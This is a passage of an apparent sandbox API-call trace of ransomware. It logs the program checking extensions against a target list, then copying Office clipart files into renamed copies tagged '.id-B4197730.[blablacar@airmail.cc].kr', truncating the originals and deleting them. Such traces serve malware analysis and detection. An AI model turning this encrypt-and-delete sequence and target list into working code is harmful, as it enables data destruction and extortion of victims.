(lpString=".doc") returned 4 [0178.572] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.573] lstrlenW (lpString=".docx") returned 5 [0178.573] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.573] lstrlenW (lpString=".pdf") returned 4 [0178.573] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.573] lstrlenW (lpString=".xls") returned 4 [0178.573] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.573] lstrlenW (lpString=".xlsx") returned 5 [0178.573] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.573] lstrlenW (lpString=".ppt") returned 4 [0178.573] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0178.573] lstrlenW (lpString=".zip") returned 4 [0178.573] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.573] lstrlenW (lpString=".rar") returned 4 [0178.573] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.573] lstrlenW (lpString=".bz2") returned 4 [0178.573] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.573] lstrlenW (lpString=".7z") returned 3 [0178.573] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0178.573] lstrlenW (lpString=".dbf") returned 4 [0178.573] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0178.573] lstrlenW (lpString=".1cd") returned 4 [0178.573] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0178.573] lstrlenW (lpString=".jpg") returned 4 [0178.573] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0178.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0178.573] lstrlenW (lpString=".doc") returned 4 [0178.573] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.573] lstrlenW (lpString=".docx") returned 5 [0178.574] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.574] lstrlenW (lpString=".pdf") returned 4 [0178.574] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.574] lstrlenW (lpString=".xls") returned 4 [0178.574] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.574] lstrlenW (lpString=".xlsx") returned 5 [0178.574] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.574] lstrlenW (lpString=".ppt") returned 4 [0178.574] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0178.574] lstrlenW (lpString=".zip") returned 4 [0178.574] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.574] lstrlenW (lpString=".rar") returned 4 [0178.574] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.574] lstrlenW (lpString=".bz2") returned 4 [0178.574] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.574] lstrlenW (lpString=".7z") returned 3 [0178.574] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0178.574] lstrlenW (lpString=".dbf") returned 4 [0178.574] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0178.574] lstrlenW (lpString=".1cd") returned 4 [0178.574] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0178.574] lstrlenW (lpString=".jpg") returned 4 [0178.574] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.574] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0178.575] lstrlenW (lpString="BD09664_.WMF") returned 12 [0178.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0178.575] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=7966) returned 1 [0178.575] CloseHandle (hObject=0x3cc) returned 1 [0178.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf")) returned 0x220 [0178.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0178.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0178.576] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0178.576] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0178.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0178.576] GetLastError () returned 0x0 [0178.576] ReadFile (in: hFile=0x3cc, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x1f1e, lpOverlapped=0x0) returned 1 [0178.578] WriteFile (in: hFile=0x3e8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x1f20, lpOverlapped=0x0) returned 1 [0178.579] ReadFile (in: hFile=0x3cc, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0178.579] WriteFile (in: hFile=0x3e8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0178.579] SetEndOfFile (hFile=0x3e8) returned 1 [0178.580] CloseHandle (hObject=0x3e8) returned 1 [0178.583] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0178.584] SetEndOfFile (hFile=0x3cc) returned 1 [0178.586] CloseHandle (hObject=0x3cc) returned 1 [0178.586] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0178.587] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf")) returned 1 [0178.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0178.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0178.587] lstrlenW (lpString=".doc") returned 4 [0178.587] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.587] lstrlenW (lpString=".docx") returned 5 [0178.587] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.587] lstrlenW (lpString=".pdf") returned 4 [0178.587] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.587] lstrlenW (lpString=".xls") returned 4 [0178.587] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.587] lstrlenW (lpString=".xlsx") returned 5 [0178.588] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.588] lstrlenW (lpString=".ppt") returned 4 [0178.588] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0178.588] lstrlenW (lpString=".zip") returned 4 [0178.588] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.588] lstrlenW (lpString=".rar") returned 4 [0178.588] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.588] lstrlenW (lpString=".bz2") returned 4 [0178.588] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.588] lstrlenW (lpString=".7z") returned 3 [0178.588] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0178.588] lstrlenW (lpString=".dbf") returned 4 [0178.588] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0178.588] lstrlenW (lpString=".1cd") returned 4 [0178.588] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0178.588] lstrlenW (lpString=".jpg") returned 4 [0178.588] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0178.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0178.588] lstrlenW (lpString=".doc") returned 4 [0178.588] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.588] lstrlenW (lpString=".docx") returned 5 [0178.588] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.588] lstrlenW (lpString=".pdf") returned 4 [0178.588] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.588] lstrlenW (lpString=".xls") returned 4 [0178.588] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.588] lstrlenW (lpString=".xlsx") returned 5 [0178.588] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.589] lstrlenW (lpString=".ppt") returned 4 [0178.589] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0178.589] lstrlenW (lpString=".zip") returned 4 [0178.589] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.589] lstrlenW (lpString=".rar") returned 4 [0178.589] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.589] lstrlenW (lpString=".bz2") returned 4 [0178.589] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.589] lstrlenW (lpString=".7z") returned 3 [0178.589] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0178.589] lstrlenW (lpString=".dbf") returned 4 [0178.589] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0178.589] lstrlenW (lpString=".1cd") returned 4 [0178.589] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0178.589] lstrlenW (lpString=".jpg") returned 4 [0178.589] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.589] lstrcmpiW (lpString1=".GIF", lpString2=".kr") returned -1 [0178.589] lstrlenW (lpString="BD10890_.GIF") returned 12 [0178.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0178.590] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=13515) returned 1 [0178.590] CloseHandle (hObject=0x3cc) returned 1 [0178.590] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif")) returned 0x220 [0178.591] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0178.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0178.591] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0178.591] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0178.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0178.591] GetLastError () returned 0x0 [0178.591] ReadFile (in: hFile=0x3cc, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x34cb, lpOverlapped=0x0) returned 1 [0178.593] WriteFile (in: hFile=0x3e8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x34d0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x34d0, lpOverlapped=0x0) returned 1 [0178.595] ReadFile (in: hFile=0x3cc, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0178.595] WriteFile (in: hFile=0x3e8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0178.595] SetEndOfFile (hFile=0x3e8) returned 1 [0178.595] CloseHandle (hObject=0x3e8) returned 1 [0178.596] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0178.596] SetEndOfFile (hFile=0x3cc) returned 1 [0178.599] CloseHandle (hObject=0x3cc) returned 1 [0178.600] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0178.600] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif")) returned 1 [0178.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0178.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0178.600] lstrlenW (lpString=".doc") returned 4 [0178.600] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0178.600] lstrlenW (lpString=".docx") returned 5 [0178.601] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0178.601] lstrlenW (lpString=".pdf") returned 4 [0178.601] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0178.601] lstrlenW (lpString=".xls") returned 4 [0178.601] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0178.601] lstrlenW (lpString=".xlsx") returned 5 [0178.601] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0178.601] lstrlenW (lpString=".ppt") returned 4 [0178.601] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0178.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0178.601] lstrlenW (lpString=".zip") returned 4 [0178.601] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0178.601] lstrlenW (lpString=".rar") returned 4 [0178.601] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0178.601] lstrlenW (lpString=".bz2") returned 4 [0178.601] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0178.601] lstrlenW (lpString=".7z") returned 3 [0178.601] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0178.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0178.601] lstrlenW (lpString=".dbf") returned 4 [0178.601] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0178.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0178.601] lstrlenW (lpString=".1cd") returned 4 [0178.601] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0178.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0178.601] lstrlenW (lpString=".jpg") returned 4 [0178.601] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0178.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0178.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0178.601] lstrlenW (lpString=".doc") returned 4 [0178.601] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0178.601] lstrlenW (lpString=".docx") returned 5 [0178.601] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0178.601] lstrlenW (lpString=".pdf") returned 4 [0178.602] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0178.602] lstrlenW (lpString=".xls") returned 4 [0178.602] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0178.602] lstrlenW (lpString=".xlsx") returned 5 [0178.602] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0178.602] lstrlenW (lpString=".ppt") returned 4 [0178.602] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0178.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0178.602] lstrlenW (lpString=".zip") returned 4 [0178.602] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0178.602] lstrlenW (lpString=".rar") returned 4 [0178.602] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0178.602] lstrlenW (lpString=".bz2") returned 4 [0178.602] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0178.602] lstrlenW (lpString=".7z") returned 3 [0178.602] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0178.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0178.602] lstrlenW (lpString=".dbf") returned 4 [0178.602] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0178.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0178.602] lstrlenW (lpString=".1cd") returned 4 [0178.602] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0178.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0178.602] lstrlenW (lpString=".jpg") returned 4 [0178.602] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0178.602] lstrcmpiW (lpString1=".GIF", lpString2=".kr") returned -1 [0178.602] lstrlenW (lpString="BD10972_.GIF") returned 12 [0178.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x464 [0180.410] GetFileSizeEx (in: hFile=0x464, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=20189) returned 1 [0180.410] CloseHandle (hObject=0x464) returned 1 [0180.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif")) returned 0x220 [0180.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0180.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x464 [0180.411] SetFilePointerEx (in: hFile=0x464, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0180.411] SetFilePointerEx (in: hFile=0x464, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0180.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468 [0180.411] GetLastError () returned 0x0 [0180.411] ReadFile (in: hFile=0x464, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x4edd, lpOverlapped=0x0) returned 1 [0180.413] WriteFile (in: hFile=0x468, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x4ee0, lpOverlapped=0x0) returned 1 [0180.415] ReadFile (in: hFile=0x464, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0180.415] WriteFile (in: hFile=0x468, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0180.415] SetEndOfFile (hFile=0x468) returned 1 [0180.415] CloseHandle (hObject=0x468) returned 1 [0180.417] SetFilePointerEx (in: hFile=0x464, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0180.417] SetEndOfFile (hFile=0x464) returned 1 [0180.420] CloseHandle (hObject=0x464) returned 1 [0180.420] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0180.420] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif")) returned 1 [0180.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0180.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0180.421] lstrlenW (lpString=".doc") returned 4 [0180.421] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0180.421] lstrlenW (lpString=".docx") returned 5 [0180.421] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0180.421] lstrlenW (lpString=".pdf") returned 4 [0180.421] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0180.421] lstrlenW (lpString=".xls") returned 4 [0180.421] 